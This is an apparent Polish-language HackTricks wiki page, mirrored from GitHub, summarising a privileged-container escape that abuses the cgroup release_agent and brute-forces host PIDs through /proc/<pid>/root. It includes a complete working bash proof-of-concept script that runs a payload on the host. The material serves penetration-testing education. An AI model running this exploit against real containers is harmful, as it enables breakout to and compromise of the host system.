mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 00:53:43 +00:00
107 lines
6.4 KiB
Markdown
107 lines
6.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
|
|
Aby uzyskać dalsze szczegóły, **sprawdź wpis na blogu z [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Oto tylko streszczenie:
|
|
|
|
Technika opisuje metodę **wykonywania kodu hosta z poziomu kontenera**, pokonując wyzwania wynikające z konfiguracji sterowników magazynu, które utrudniają ścieżkę systemu plików kontenera na hoście, takie jak Kata Containers lub konkretne ustawienia `devicemapper`.
|
|
|
|
Kluczowe kroki:
|
|
|
|
1. **Lokalizacja identyfikatorów procesów (PID):** Za pomocą symbolicznego łącza `/proc/<pid>/root` w pseudosystemie plików Linuxa można uzyskać dostęp do dowolnego pliku wewnątrz kontenera w odniesieniu do systemu plików hosta. Pozwala to ominąć konieczność znajomości ścieżki systemu plików kontenera na hoście.
|
|
2. **Brute Force PID:** Wykorzystuje się podejście brute force do przeszukiwania PID-ów na hoście. Polega to na sekwencyjnym sprawdzaniu obecności określonego pliku w `/proc/<pid>/root/<file>`. Gdy plik zostanie znaleziony, oznacza to, że odpowiadający PID należy do procesu uruchomionego wewnątrz docelowego kontenera.
|
|
3. **Wywołanie wykonania:** Zgadywana ścieżka PID jest zapisywana w pliku `release_agent` grupy cgroups. To działanie wywołuje wykonanie `release_agent`. Sukces tego kroku jest potwierdzany przez sprawdzenie utworzenia pliku wynikowego.
|
|
|
|
### Proces eksploatacji
|
|
|
|
Proces eksploatacji obejmuje bardziej szczegółowy zestaw działań, mających na celu wykonanie ładunku na hoście poprzez zgadywanie poprawnego PID procesu uruchomionego wewnątrz kontenera. Oto jak to się odbywa:
|
|
|
|
1. **Inicjalizacja środowiska:** Na hoście przygotowywany jest skrypt ładunku (`payload.sh`), a tworzony jest unikalny katalog do manipulacji grupą cgroups.
|
|
2. **Przygotowanie ładunku:** Tworzony jest skrypt ładunku, który zawiera polecenia do wykonania na hoście, i jest on nadawany uprawnienia do wykonania.
|
|
3. **Konfiguracja grupy cgroups:** Grupa cgroups jest montowana i konfigurowana. Ustawiana jest flaga `notify_on_release`, aby zapewnić wykonanie ładunku po zwolnieniu grupy cgroups.
|
|
4. **Brute Force PID:** Pętla iteruje przez potencjalne PID-y, zapisując każdy zgadywany PID w pliku `release_agent`. Efektem tego jest ustawienie skryptu ładunku jako `release_agent`.
|
|
5. **Wywołanie i sprawdzenie wykonania:** Dla każdego PID-u zapisywane jest `cgroup.procs` grupy cgroups, co powoduje wykonanie `release_agent`, jeśli PID jest poprawny. Pętla trwa, dopóki nie zostanie znaleziony wynikowy plik skryptu ładunku, co oznacza udane wykonanie.
|
|
|
|
PoC z wpisu na blogu:
|
|
```bash
|
|
#!/bin/sh
|
|
|
|
OUTPUT_DIR="/"
|
|
MAX_PID=65535
|
|
CGROUP_NAME="xyx"
|
|
CGROUP_MOUNT="/tmp/cgrp"
|
|
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
|
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
|
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
|
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
|
|
|
# Run a process for which we can search for (not needed in reality, but nice to have)
|
|
sleep 10000 &
|
|
|
|
# Prepare the payload script to execute on the host
|
|
cat > ${PAYLOAD_PATH} << __EOF__
|
|
#!/bin/sh
|
|
|
|
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
|
|
|
# Commands to run on the host<
|
|
ps -eaf > \${OUTPATH} 2>&1
|
|
__EOF__
|
|
|
|
# Make the payload script executable
|
|
chmod a+x ${PAYLOAD_PATH}
|
|
|
|
# Set up the cgroup mount using the memory resource cgroup controller
|
|
mkdir ${CGROUP_MOUNT}
|
|
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
|
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
|
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|
|
|
# Brute force the host pid until the output path is created, or we run out of guesses
|
|
TPID=1
|
|
while [ ! -f ${OUTPUT_PATH} ]
|
|
do
|
|
if [ $((${TPID} % 100)) -eq 0 ]
|
|
then
|
|
echo "Checking pid ${TPID}"
|
|
if [ ${TPID} -gt ${MAX_PID} ]
|
|
then
|
|
echo "Exiting at ${MAX_PID} :-("
|
|
exit 1
|
|
fi
|
|
fi
|
|
# Set the release_agent path to the guessed pid
|
|
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
|
# Trigger execution of the release_agent
|
|
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
|
TPID=$((${TPID} + 1))
|
|
done
|
|
|
|
# Wait for and cat the output
|
|
sleep 1
|
|
echo "Done! Output:"
|
|
cat ${OUTPUT_PATH}
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|